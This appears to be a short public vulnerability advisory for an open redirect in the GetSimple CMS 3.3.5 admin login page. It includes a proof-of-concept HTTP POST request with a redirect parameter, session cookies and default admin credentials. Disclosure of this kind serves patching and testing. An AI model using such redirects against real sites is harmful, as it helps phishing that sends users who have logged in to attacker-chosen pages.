[+] Exploit Title: GetSimple CMS Open Redirect Vulnerability [+] Google Dork: N/A [+] Date: 10/8/2015 [+] Exploit Author: Arash Khazaei [+] Vendor Homepage: http://get-simple.info/ [+] Software Link: http://get-simple.info/download/last [+] Version: 3.3.5 [+] Tested on: Kali / Mozilla FireFox, Windows / Google Chrome [+] CVE : N/A [+] Contacts: 0xclay@gmail.com [+] https://twitter.com/0xClay =============================== Introduction : GetSimple CMS Is A Content Management System Licensed Under GPL V3 And Coded In PHP. A Vulnerability In GetSimple CMS 3.3.5 Allow Open Redirect In CMS Admin Page =============================== POC: POST /simple/admin/index.php?redirect=http://google.com/ HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://localhost/simple/admin/index.php?redirect=http://google.com/ Cookie: __atuvc=16%7C32; GS_ADMIN_USERNAME=admin; 91ec5ca03662725405ead7f97487b5ccd54ec2c2=a35fa371ed9c8b41dde3ab08a553a6c391eb237f Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 38 userid=admin&pwd=admin&submitted=Login # Vulnerable Input Is => /admin/index.php?redirect=http://google.com/ after login to CMS Will Be Redirectd To Google :) Discovered By : Arash Khazaei .